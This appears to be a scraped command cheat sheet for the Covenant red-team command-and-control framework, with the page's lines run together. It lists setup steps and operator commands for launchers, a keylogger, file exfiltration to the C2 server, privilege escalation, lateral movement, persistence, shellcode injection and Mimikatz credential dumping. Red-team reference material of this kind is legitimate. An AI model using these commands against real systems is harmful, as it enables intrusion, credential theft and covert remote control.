git clone --recurse-submodules https://github.com/cobbr/CovenantClones the Covenant repository including all necessary submodules
A collaborative .NET command-and-control framework with a web interface, built for red teams emulating adversaries.
git clone --recurse-submodules https://github.com/cobbr/Covenant && cd Covenant/Covenant && docker build -t covenant . && docker run -it -p 7443:7443 -p 80:80 -p 443:443 covenantgit clone --recurse-submodules https://github.com/cobbr/CovenantClones the Covenant repository including all necessary submodules
dotnet buildCompiles the Covenant solution using the .NET SDK
dotnet run --project CovenantStarts the Covenant C2 server and web interface
docker-compose up -dStarts Covenant using the Docker containerized workflow
Navigate to https://127.0.0.1:7443Accesses the administrative dashboard to register the initial user
Example
Browser > https://127.0.0.1:7443Create Custom ProfileDefines custom network traffic indicators to blend in with legitimate traffic
Example
Profiles > Create > HttpProfile > Define HeadersGenerate PowerShell LauncherCreates a one-liner PowerShell command to execute the Grunt stager
Example
Launchers > PowerShell > GenerateGenerate Binary LauncherCompiles a customized executable artifact to launch the Grunt
Example
Launchers > Binary > Generate > Grunt.exeGenerate MSBuild LauncherCreates an XML project file executable via the MSBuild utility
Example
Launchers > MSBuild > Generate > Grunt.xmlGenerate HTML Application (HTA)Creates an HTML Application file for client-side execution vectors
Example
Launchers > HTA > Generate > evil.htaInteractOpens the console session for a specific active Grunt
Example
Interact <GruntName>Task InfoDisplays detailed metadata about the current Grunt session
Example
InfoSetDelayChanges the sleep interval between callbacks to 10 seconds
Example
SetDelay 10SetJitterAdds a percentage of randomization to the callback interval
Example
SetJitter 15KillTerminates the Grunt process on the remote host
ListDirectoryLists the contents of the specified directory
Example
ListDirectory C:\Users\ChangeDirectoryChanges the current working directory of the Grunt process
Example
ChangeDirectory C:\TempGetCurrentDirectoryPrints the current working directory path
DownloadDownloads a file from the target machine to the Covenant server
Example
Download C:\Secrets\file.txtUploadUploads a file from the Covenant server to the target machine
Example
Upload /local/path/tool.exe C:\Temp\tool.exeRegistryReadReads a value from the Windows Registry
Example
RegistryRead HKEY_CURRENT_USER\Software\Test KeyNameGetNetLocalGroupEnumerates members of a local group using .NET
Example
GetNetLocalGroup AdministratorsGetNetDomainUserEnumerates user accounts in the current domain
GetNetDomainControllerIdentifies the domain controllers for the current domain
GetNetComputerEnumerates computers in the domain and checks reachability
Example
GetNetComputer -PingGetNetShareLists network shares available on a specific computer
Example
GetNetShare computernameArpScanPerforms an ARP scan to identify live hosts on the local subnet
Example
ArpScan 192.168.1.0/24PortScanPerforms a TCP connect scan on the specified target and ports
Example
PortScan 192.168.1.10 1-1024SeatbeltRuns the Seatbelt safety check tool to enumerate system security settings
Example
Seatbelt -group=systemSeatbelt UserRuns Seatbelt checks specifically related to the current user context
Example
Seatbelt -group=userWhoAmIDisplays extensive information about the current user and privileges
Example
WhoAmI /allKeyloggerStarts the keylogging module to capture keystrokes
Example
Keylogger startScreenshotCaptures a screenshot of the current user's desktop
GetSystemAttempts to elevate privileges to SYSTEM using various techniques
ImpersonateUserEnumerates and impersonates available tokens to escalate privileges
MakeTokenCreates a new token with specified credentials for network authentication
Example
MakeToken DOMAIN\User PasswordRevertToSelfReverts the current thread impersonation back to the original process token
WMIExecutes a command on a remote system via Windows Management Instrumentation
Example
WMI computername commandSharpWMIUses C# implementation of WMI for stealthier lateral movement
Example
SharpWMI action=exec computername=TARGET command=cmd.exeSharpSshExecutes commands over SSH using a .NET implementation
Example
SharpSsh username password target commandPowerShellRemotingUses native PowerShell Remoting (WinRM) for lateral movement
Example
Invoke-Command -ComputerName TARGET -ScriptBlock { ... }Persist-RegistryEstablishes persistence via a Registry Run key
Example
Persist-Registry KeyName payloadPersist-ScheduledTaskCreates a scheduled task to execute the Grunt payload
Example
Persist-ScheduledTask TaskName payloadPersist-WMICreates a WMI event subscription for persistence
Example
Persist-WMI EventName payloadSharpSQLExecutes SQL queries against MSSQL instances
Example
SharpSQL query instanceGraph ViewVisualizes the relationship between listeners and Grunts
Example
Dashboard > GraphShellcodeInjects and executes raw shellcode into the Grunt process
Example
Shellcode /path/to/shellcode.binInjectInjects shellcode into a remote process
Example
Inject PID /path/to/shellcode.binMimikatzExecutes custom Mimikatz commands directly
Example
Mimikatz "sekurlsa::logonpasswords"SharpUpChecks for common local privilege escalation misconfigurations
Example
SharpUp auditSharpDumpCreates a memory dump of a specific process using C#
Example
SharpDump PIDSharpRDPExecutes commands over RDP without GUI interaction
Example
SharpRDP target=IP command=CMDStandByPlaces the Grunt into a low-activity standby mode
User ManagementAdds new operators to the Covenant server for collaboration
Example
Users > CreateTheme ConfigurationCustomizes the visual appearance of the Covenant console
Example
Settings > ThemeAn open-source, cross-platform command-and-control framework for adversary emulation, with mTLS, WireGuard, HTTP(S) and DNS implants.
The most widely used exploitation framework: thousands of exploits, payloads and post-exploitation modules plus a workspace database.
The interactive console for Metasploit: search, configure and run modules, manage sessions and work with the database.